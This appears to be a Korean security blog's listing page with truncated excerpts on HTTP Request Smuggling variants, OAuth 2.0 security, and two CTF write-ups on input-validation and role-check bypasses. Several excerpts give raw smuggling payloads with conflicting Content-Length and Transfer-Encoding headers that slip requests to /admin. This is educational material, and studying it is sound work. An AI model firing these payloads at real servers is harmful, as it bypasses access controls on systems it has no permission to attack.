wermut

발생 원인HTTP Request Header에 비정상적인, 혹은 중복적인 Transfer-Encoding 헤더 사용PayloadPOST / HTTP/1.1Host: vulnerable-website.comContent-Length: 4Transfer-Encoding: chunkedTransfer-Encoding: identity35GET /admin HTTP/1.1Host: vulnerable-website.com0Front-end 해석POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunked35GET /admin HTTP/1.1Host: vulnerable-website.com0Front-end의 경우 첫 번째 Transfer-Encod..

발생 원인Front-end: Content-Length 우선 해석Back-end : Transfer-Encoding 우선 해석PayloadPOST /home HTTP/1.1Host: vulnerable-website.comContent-length: 4Transfer-Encoding: chunked2cPOST /admin HTTP/1.1Content-Length: 60Front-end 해석POST /home HTTP/1.1Host: vulnerable-website.comContent-Length: 4Transfer-Encoding: chunked2cPOST /admin HTTP/1.1Content-Length: 60Front-end의 경우 Transfer-Encoding를 기준으로 해석하기 때문에 Pa..

발생 원인Front-end: Content-Length 우선 해석Back-end : Transfer-Encoding 우선 해석PayloadPOST /home HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30Transfer-Encoding: chunked0GET /admin HTTP/1.1Foo: xFront-end 해석POST /home HTTP/1.1 Host: vulnerable-website.com Content-Type: applic ation/x-www-form-urlencoded Content-Length: 30Transfer-Encoding: chunke..

발생 원인HTTP Request Header에 Content-Length 헤더 중복 사용Front-end: 첫 번째 Content-Length 헤더 우선 해석Back-end : 두 번째 Content-Length 헤더 우선 해석PayloadPOST /home HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 55Content-Length: 3fooGET /admin HTTP/1.1Host: vulnerable-website.comFront-end 해석POST /home HTTP/1.1Host: vulnerable-website.comContent-Type: application/..

IntroductionHRS(=HTTP Request Smuggling): HTTP 프록시 서버 체인 내 HTTP 서버 구현간의 HTTP/1 요청이 끝나는 위치를 지정하는 헤더의 해석 불일치를 악용하는 공격Front-end와 Back-end가 우선시 하는 헤더가 다른 경우 Front와 Back간의 불일치를 이용해 추가적인 Request 삽입이 가능중요 Header[[Connection]]현재의 전송이 완료된 후 네트워크 접속을 유지할지 여부를 의미value는 keep-alive, close 존재HTTP 2 이상에서는 삭제됨[[Content-Length]]수신자에게 전송되는 메시지 본문의 크기를 의미헤더 이후 이어지는 데이터의 길이(byte 단위)[[Transfer-Encoding]]메시지에 적용된 인코딩..

1. Client 인증Authorization Server는 클라이언트 인증을 위한 자격증명(client_id, client_secret)을 설정Authorization Server는 Client pw보다 강력한 인증수단 사용 권장 (mTLS, JWT)발급받은 client_secret은 기밀성을 반드시 보장해야 함Authorization Server는 Native Application(.apk, .ipa 등)와 같이 사용자가 직접 실행하는 Application에 기밀성이 요구되는 정보를 발급하지 않아야 함 (리버스 엔지니어링을 통해 유출 가능) 특정 장치에만 바인딩되는 동적 기밀정보는 특정 상황에 한해 발급 가능하나, 권장하지 않음Client 인증이 불가능한 경우(안전한 기밀정보의 보관이 불가능한 Cli..

Introduction애플리케이션 활용 시, 사용자가 해당 어플리케이션에 계정 정보를 제공하지 않고 신뢰 가능한 외부 어플리케이션의 Open API를 사용해 인증 과정을 처리하는 방식OAuth가 보편화되기 전, 타 어플리케이션의 계정 정보가 필요할 경우 직접적으로 계정 정보(PW 등)를 요구하기도 해 보안 우려 존재. - 사용자: 어플리케이션을 신뢰 불가- 어플리케이션: 외부 어플리케이션의 계정정보에 대한 모든 책임- 외부 어플리케이션: 어플리케이션 신뢰 불가복잡하던 OAuth 1.0을 개량하여 간소화되고 유연성을 높인 OAuth 2.0이 현재 널리 사용중에 있음.OAuth 2.0 Flow +--------+ +---------------+ ..

보호되어 있는 글입니다.

// server.js...function chall(str = "[1, 2, 3]") { const sanitized = str.replaceAll(" ", ""); if (sanitized.length ${array.length}`;}... 0. array 변수가 post 형식으로 받아졌을때 이를 갖고 연산을 시작1. 입력값이 없을 경우 기본 값은 [1, 2, 3]으로 지정2. 이 값은 공백이 제거된 후 sanitized로 변수에 저장3. 이 값의 길이 4. 이 sanitized 변수를 JSON.parse 한 값이 array5. 이때 array길이 위 과정을 거쳐 flag를 얻어내는 문제이다. sanitized 가 유효한 JSON 문자열이기만 하면 JSON.parse 는 배열 뿐 아니라 ..

문제에 접근해 회원가입, 로그인을 마친 모습이다. MEMBER 권한으로 접근한 것을 확인 가능하며, 권한을 변경 가능한 로직이 존재한다. 이때의 코드를 확인해 보면 아래와 같다. // /app/models/userModel.js...const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];function checkRole(role) { const regex = /^(ADMIN|INSPECTOR)$/i; return regex.test(role);}...const setRole = (uuid, input) => { const user = getUser(uuid); if (checkRole(input)) return fa..